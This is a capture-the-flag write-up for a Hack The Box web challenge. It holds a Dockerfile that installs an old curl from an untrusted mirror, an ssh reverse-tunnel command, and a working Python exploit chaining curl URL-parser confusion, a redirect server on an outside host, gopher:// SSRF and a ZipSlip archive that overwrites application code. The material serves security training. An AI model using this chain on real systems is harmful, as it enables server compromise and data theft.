https://app.hackthebox.com/challenges/503

Description

I made a service for people to cache their favourite websites, come and check it out!

Exploitation

The docker build produced library errors in ./configure --with-ssl --prefix=/usr/local during compilation, so I used a repository that provided the required pkg curl 7.52.1.

Get an alphine shell to test and find the errors

docker run --rm -it python:3-alpine sh

Fixed Dockerfile

FROM python:3-alpine

# Install packages
RUN apk add --update --no-cache chromium chromium-chromedriver supervisor openssl build-base

# Install & compile curl 7.52
#RUN cd /usr/local/
#RUN apk add curl
#RUN apk add --no-cache gcc musl-dev curl-dev python3-dev libffi-dev openssl-dev
#RUN wget https://curl.haxx.se/download/curl-7.52.0.tar.gz && tar xfz curl-7.52.0.tar.gz z
#RUN cd curl-7.52.0/ && ./configure --with-ssl --prefix=/usr/local && make -j 16 && make install
#RUN export PYCURL_CURL_CONFIG=/usr/local/bin/curl-config
#RUN ln -s /usr/local/lib/libcurl.so.4 /usr/lib/libcurl.so.4

# https://mirrors.ircam.fr/pub/alpine/v3.2/main/x86_64/
RUN echo "https://mirrors.ircam.fr/pub/alpine/v3.2/main" >> /etc/apk/repositories && \
    apk update && \
    apk add --no-cache --allow-untrusted libcrypto1.0 libssl1.0 curl=7.52.1-r1 	curl-dev=7.52.1-r1

# Cleanup
#RUN rm -rf curl-*

# Upgrade pip
RUN python -m pip install --upgrade pip

# Install dependencies
RUN pip install pycurl selenium Flask

# Setup app
RUN mkdir -p /app

# Switch working environment
WORKDIR /app

# Add application
COPY challenge .

# Setup supervisor
COPY config/supervisord.conf /etc/supervisord.conf

# Expose port the server is reachable on
EXPOSE 1337

# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1

# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

ZipSlip Example

Use a vps to fwd local port 3000 to the vps with open ports or use something like ngrok

ssh -N -R 3000:localhost:3000 server

Poc

import tarfile, time, io
routes = '''
from flask import Blueprint
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def f(): return open('/app/flag').read()
'''
zipslip = io.BytesIO()
tar = tarfile.open(fileobj=zipslip, mode='w:gz')
info = tarfile.TarInfo('../app/application/blueprints/routes.py')
info.mtime = time.time()
info.size = len(routes)
tar.addfile(info, io.BytesIO(routes.encode()))
tar.close()

body=b''.join([
    b'--htb\r\n',
    b'Content-Disposition: form-data; name="file"; filename="htb.tar"\r\n',
    b'Content-Type: application/x-tar\r\n\r\n',
    zipslip.getvalue(),b'\r\n',
    b'--htb--\r\n'
])
req=(b'POST /api/upload HTTP/1.1\r\n'
     b'Host: 127.0.0.1:1337\r\n'
     b'Content-Type: multipart/form-data; boundary=htb\r\n'
     b'Connection: close\r\n'
     b'Content-Length: '+str(len(body)).encode()+b'\r\n\r\n')+body
print(req.decode('latin-1','replace'))

from urllib.parse import quote_from_bytes
url='gopher://127.0.0.1:1337/_'+quote_from_bytes(req,safe='')
print(url)

import threading,json,urllib.request,time
from http.client import RemoteDisconnected
from http.server import BaseHTTPRequestHandler,HTTPServer

class H(BaseHTTPRequestHandler):
    def log_message(self,*a,**k): pass
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location",url)
        self.send_header("Connection","close")
        self.send_header("Content-Length","0")
        self.end_headers()
        threading.Timer(0.2,self.server.shutdown).start()

httpd=HTTPServer(("0.0.0.0",3000),H)
threading.Thread(target=httpd.serve_forever,daemon=True).start()
target='http://localhost:1337'
remote='x3ric.com:3000'
data=json.dumps({"url":f"http://foo@{remote}@google.com/"}).encode()
req=urllib.request.Request(target+"/api/cache",data=data,headers={"Content-Type":"application/json"})
try:
    with urllib.request.urlopen(req,timeout=10) as r: r.read(1)
except RemoteDisconnected: pass
time.sleep(0.3)
httpd.server_close()
with urllib.request.urlopen(target,timeout=10) as r:
    print('\n'+str(r.getcode()),r.read(200))

Summary

CachedWeb: chain SSRF with path control to reach the internal target and read the flag.